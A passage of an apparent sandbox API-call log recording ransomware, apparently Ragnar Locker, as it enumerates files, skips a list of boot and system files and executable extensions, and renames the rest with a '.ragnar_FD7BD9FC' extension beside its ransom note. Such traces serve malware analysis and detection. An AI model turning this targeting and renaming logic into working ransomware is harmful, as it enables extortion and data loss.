(lpString1="main.xml", lpString2="bootmgr.efi") returned 1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="bootmgfw.efi") returned 1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="desktop.ini") returned 1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="iconcache.db") returned 1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="ntldr") returned -1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="ntuser.dat") returned -1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="ntuser.dat.log") returned -1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="ntuser.ini") returned -1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="thumbs.db") returned -1 [0056.774] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.774] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.774] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.774] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.774] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.774] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.774] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0056.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.775] CloseHandle (hObject=0xffffffff) returned 0 [0056.775] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" [0056.775] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.ragnar_FD7BD9FC" [0056.775] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.775] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x732d6480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x732d6480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0056.775] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0056.775] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.775] lstrcpyW (in: lpString1=0x1eab72, lpString2="numbers.xml" | out: lpString1="numbers.xml") returned="numbers.xml" [0056.775] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned=".xml" [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="autorun.inf") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="boot.ini") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="bootfont.bin") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="bootsect.bak") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="bootmgr") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="bootmgr.efi") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="bootmgfw.efi") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="desktop.ini") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="iconcache.db") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="ntldr") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="ntuser.dat") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="ntuser.dat.log") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="ntuser.ini") returned 1 [0056.775] lstrcmpiW (lpString1="numbers.xml", lpString2="thumbs.db") returned -1 [0056.775] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.775] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.775] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.775] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.775] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.775] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.776] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0056.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.810] CloseHandle (hObject=0xffffffff) returned 0 [0056.810] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" [0056.810] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.ragnar_FD7BD9FC" [0056.810] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73322740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73322740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0056.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0056.810] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.810] lstrcpyW (in: lpString1=0x1eab72, lpString2="oskmenu.xml" | out: lpString1="oskmenu.xml") returned="oskmenu.xml" [0056.810] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned=".xml" [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="autorun.inf") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="boot.ini") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="bootfont.bin") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="bootsect.bak") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="bootmgr") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="bootmgr.efi") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="bootmgfw.efi") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="desktop.ini") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="iconcache.db") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="ntldr") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="ntuser.dat") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="ntuser.dat.log") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="ntuser.ini") returned 1 [0056.810] lstrcmpiW (lpString1="oskmenu.xml", lpString2="thumbs.db") returned -1 [0056.810] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.811] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.811] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.811] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.811] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.811] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.811] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0056.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.811] CloseHandle (hObject=0xffffffff) returned 0 [0056.811] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" [0056.811] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.ragnar_FD7BD9FC" [0056.811] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.811] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73cf4200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73cf4200, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0056.811] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0056.811] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.811] lstrcpyW (in: lpString1=0x1eab72, lpString2="osknumpad.xml" | out: lpString1="osknumpad.xml") returned="osknumpad.xml" [0056.811] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned=".xml" [0056.811] lstrcmpiW (lpString1="osknumpad.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.811] lstrcmpiW (lpString1="osknumpad.xml", lpString2="autorun.inf") returned 1 [0056.811] lstrcmpiW (lpString1="osknumpad.xml", lpString2="boot.ini") returned 1 [0056.811] lstrcmpiW (lpString1="osknumpad.xml", lpString2="bootfont.bin") returned 1 [0056.811] lstrcmpiW (lpString1="osknumpad.xml", lpString2="bootsect.bak") returned 1 [0056.812] lstrcmpiW (lpString1="osknumpad.xml", lpString2="bootmgr") returned 1 [0056.812] lstrcmpiW (lpString1="osknumpad.xml", lpString2="bootmgr.efi") returned 1 [0056.812] lstrcmpiW (lpString1="osknumpad.xml", lpString2="bootmgfw.efi") returned 1 [0056.812] lstrcmpiW (lpString1="osknumpad.xml", lpString2="desktop.ini") returned 1 [0056.812] lstrcmpiW (lpString1="osknumpad.xml", lpString2="iconcache.db") returned 1 [0056.812] lstrcmpiW (lpString1="osknumpad.xml", lpString2="ntldr") returned 1 [0056.812] lstrcmpiW (lpString1="osknumpad.xml", lpString2="ntuser.dat") returned 1 [0056.812] lstrcmpiW (lpString1="osknumpad.xml", lpString2="ntuser.dat.log") returned 1 [0056.812] lstrcmpiW (lpString1="osknumpad.xml", lpString2="ntuser.ini") returned 1 [0056.812] lstrcmpiW (lpString1="osknumpad.xml", lpString2="thumbs.db") returned -1 [0056.812] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.812] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.812] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.812] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.812] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.812] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.812] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0056.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.816] CloseHandle (hObject=0xffffffff) returned 0 [0056.816] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" [0056.816] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.ragnar_FD7BD9FC" [0056.816] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.816] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73d404c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73d404c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0056.816] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0056.817] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.817] lstrcpyW (in: lpString1=0x1eab72, lpString2="oskpred.xml" | out: lpString1="oskpred.xml") returned="oskpred.xml" [0056.817] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned=".xml" [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="autorun.inf") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="boot.ini") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="bootfont.bin") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="bootsect.bak") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="bootmgr") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="bootmgr.efi") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="bootmgfw.efi") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="desktop.ini") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="iconcache.db") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="ntldr") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="ntuser.dat") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="ntuser.dat.log") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="ntuser.ini") returned 1 [0056.817] lstrcmpiW (lpString1="oskpred.xml", lpString2="thumbs.db") returned -1 [0056.817] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.817] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.817] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.817] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.817] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.817] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.817] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0056.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.818] CloseHandle (hObject=0xffffffff) returned 0 [0056.818] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" [0056.818] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.ragnar_FD7BD9FC" [0056.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.818] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e13880, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.818] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.818] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.818] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.818] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.818] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73db28e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73db28e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, 